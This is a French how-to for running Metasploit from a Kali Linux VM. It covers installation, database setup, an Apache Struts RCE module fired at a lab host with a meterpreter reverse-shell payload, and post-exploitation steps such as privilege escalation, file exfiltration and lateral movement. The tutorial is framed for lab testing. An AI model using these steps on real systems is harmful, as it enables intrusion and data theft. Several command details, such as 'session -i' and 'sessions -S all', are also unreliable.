Documentation Metasploit depuis une machine virtuelle

Ce document explique comment installer, configurer et utiliser Metasploit Framework depuis une machine virtuelle, pour réaliser des tests d'intrusion et des évaluations de sécurité.

1. Pré-requis

- Machine hôte : Windows, macOS ou Linux avec support de virtualisation (VirtualBox, VMware, Hyper-V).
- Machine virtuelle : distribution Linux (Kali Linux recommandé).
- Accès Internet pour mises à jour et téléchargements.
- Droits root ou sudo sur la VM.

2. Installation de la VM

1. Télécharger l'ISO de Kali Linux depuis le site officiel.
2. Créer une nouvelle VM dans VirtualBox/VMware :
 - Mémoire : ≥ 2 Go RAM
 - Disque : ≥ 20 Go
 - Interface réseau en mode Bridged ou NAT selon le besoin.

3. Démarrer la VM et installer Kali Linux.

3. Installation de Metasploit

Kali Linux inclut Metasploit par défaut. Pour mise à jour ou installation manuelle :

```
sudo apt update
```

```
sudo apt install metasploit-framework
```

Vérifier la version :

```
msfconsole --version
```

4. Lancement de Metasploit

1. Ouvrir un terminal sur la VM.

Démarrer la console :

```
sudo msfconsole
```

- 2.

3. Vous arrivez sur l'invite msf6 >.

5. Configuration de la Base de Données

Metasploit utilise PostgreSQL :

```
sudo systemctl start postgresql
```

```
sudo msfdb init
```

Vérifier la connexion DB dans msfconsole :

```
db_status
```

Status should be "connected to msf6.db"

6. Utilisation de base

6.1. Recherche d'exploits

```
search name:apache type:exploit
```

6.2. Sélection d'un module

```
use exploit/linux/http/apache_struts_rce
```

6.3. Configuration des options

```
show options
```

```
set RHOSTS 192.168.56.101
```

```
set RPORT 8080
```

```
set PAYLOAD linux/x86/meterpreter/reverse_tcp
```

```
set LHOST 192.168.56.1
```

6.4. Lancement de l'attaque

```
run
```

Vous obtenez une session Meterpreter si la cible est vulnérable.

7. Commandes Meterpreter

- **sessions -l** : lister les sessions actives
- **session -i** : interagir avec une session
- **sysinfo** : informations système
- **getuid** : utilisateur en cours
- **shell** : ouvrir un shell système
- **exit** : quitter la session Meterpreter

8. Exploitation et post-exploitation

- Escalade de privilèges : use exploit/linux/local/...
- Exfiltration : download, upload
- Mouvement latéral : ps, portfwd, autoroute

9. Sauvegarde et rapports

- Sessions : sessions -S all pour sauvegarder
- Rapports : db_export -f xml rapport.xml
- Script Automation : resource files (ex. msfconsole -r script.rc)

10. Bonnes pratiques

- Mettre à jour régulièrement Metasploit (msfupdate).
- Isoler la VM sur un réseau dédié lors des tests.
- Utiliser des cibles non productives ou des environnements de laboratoires.
- Documenter chaque étape et résultat.